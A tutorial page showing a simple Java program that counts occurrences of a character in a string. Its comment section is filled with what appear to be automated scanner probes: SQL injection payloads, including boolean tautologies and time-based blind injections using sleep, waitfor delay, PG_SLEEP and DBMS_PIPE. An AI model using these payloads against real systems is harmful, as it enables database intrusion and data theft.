Java Program to Count The Occurences Of Character In a String

Get a String and a character then count the occurrence of character in the string.

Sample Input 1:

Hello

l

Sample Output 1:

2

Program or Solution

				
			
					
//Count The Occurences Of Given Character In A String ...

import java.util.*;

class Program
{
 public static void main(String args[])
 {
 String word;
 char ch;
  
 Scanner sc=new Scanner(System.in);

 System.out.println("Enter The Word:");  
 word=sc.nextLine();  

 int len1=word.length();
 int i,count=0;

 System.out.println("Enter The Character:");
 ch=sc.next().charAt(0); 
 
 System.out.println("The Occurences Of Character Is:");
 for(i=0;i<len1;i++)
 {
 if(ch==word.charAt(i))
 {
 count++;
 }

 }
 System.out.println(" "+count);

 }
}
			
				
			

Program Explanation

Comments

ubaTaeCJ
-1 OR 2+822-822-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3+822-822-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2<(0+5+822-822) --
ubaTaeCJ
-1 OR 3*2>(0+5+822-822) --
ubaTaeCJ
-1 OR 2+886-886-1=0+0+0+1
ubaTaeCJ
-1 OR 3+886-886-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+886-886)
ubaTaeCJ
-1 OR 3*2>(0+5+886-886)
ubaTaeCJ
-1' OR 2+278-278-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+278-278-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+278-278) --
ubaTaeCJ
-1' OR 3*2>(0+5+278-278) --
ubaTaeCJ
-1' OR 2+620-620-1=0+0+0+1 or '8P9jiMIr'='
ubaTaeCJ
-1' OR 3+620-620-1=0+0+0+1 or '8P9jiMIr'='
ubaTaeCJ
-1' OR 3*2<(0+5+620-620) or '8P9jiMIr'='
ubaTaeCJ
-1' OR 3*2>(0+5+620-620) or '8P9jiMIr'='
ubaTaeCJ
-1" OR 2+415-415-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+415-415-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+415-415) --
ubaTaeCJ
-1" OR 3*2>(0+5+415-415) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:15' --
ubaTaeCJ
1 waitfor delay '0:0:15' --
ubaTaeCJ
jFElEsVy'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 186=(SELECT 186 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 199=(SELECT 199 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 506=(SELECT 506 FROM PG_SLEEP(15))--
ubaTaeCJ
e1lTGQrQ' OR 275=(SELECT 275 FROM PG_SLEEP(15))--
ubaTaeCJ
q1dM7FpS') OR 42=(SELECT 42 FROM PG_SLEEP(15))--
ubaTaeCJ
AmZo6qbD')) OR 645=(SELECT 645 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@SY1QL